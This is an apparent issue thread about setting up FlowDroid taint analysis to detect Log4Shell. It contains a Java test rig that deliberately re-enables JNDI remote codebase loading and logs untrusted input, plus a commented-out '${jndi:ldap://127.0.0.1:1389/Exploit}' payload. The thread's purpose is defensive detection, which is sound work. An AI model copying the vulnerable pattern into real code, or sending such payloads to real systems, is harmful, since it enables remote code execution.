log4shell setup?

[chadbrewbaker]

I wanted to get a FlowDroid rig to detect the log4shell exploit - any tips?

This could would be the minimum test rig? It takes an arbitrary string from the command line.

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);
    public static void main(String[] args) {
        //高版本的jdk默认trustURLCodebase为false，因此不能成功利用JNDI注入
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
      //  logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
      logger.error(args[1]);
    }
}     

[StevenArzt]

That should be fairly easy. You need to declare the logger.error method (and all the other logger methods, same thing for info etc.) as sinks, and all untrusted inputs as sources. The latter depends on your application and trust model. For a command-line application, I wouldn't usually assume the args as untrusted - you were able to run code in the first place (your sample app), so what can you get from the code exection vulnerability? You are still constrained to the privileges of your account. Let's not assume any strange case with restricted sudo privileges or something like that.

Remote services such as web applications are a completely different story. There, you can assume all inputs as untrusted. In this case, all methods that read from network streams are sources, as well as parameters of JSON endpoint methods, etc.

You need to provide a proper source/sink definition file, have a look at the example file that is available in the repository.

[NadgobKhan]

Hello! @StevenArzt is Flowdroid using log4j internally, when using it as a library? I see it only needs slf4j as a dependency.

[StevenArzt]

FlowDroid uses slf4j as an abstraction layer. You can have any logging backend. By default, we do not bundle log4j.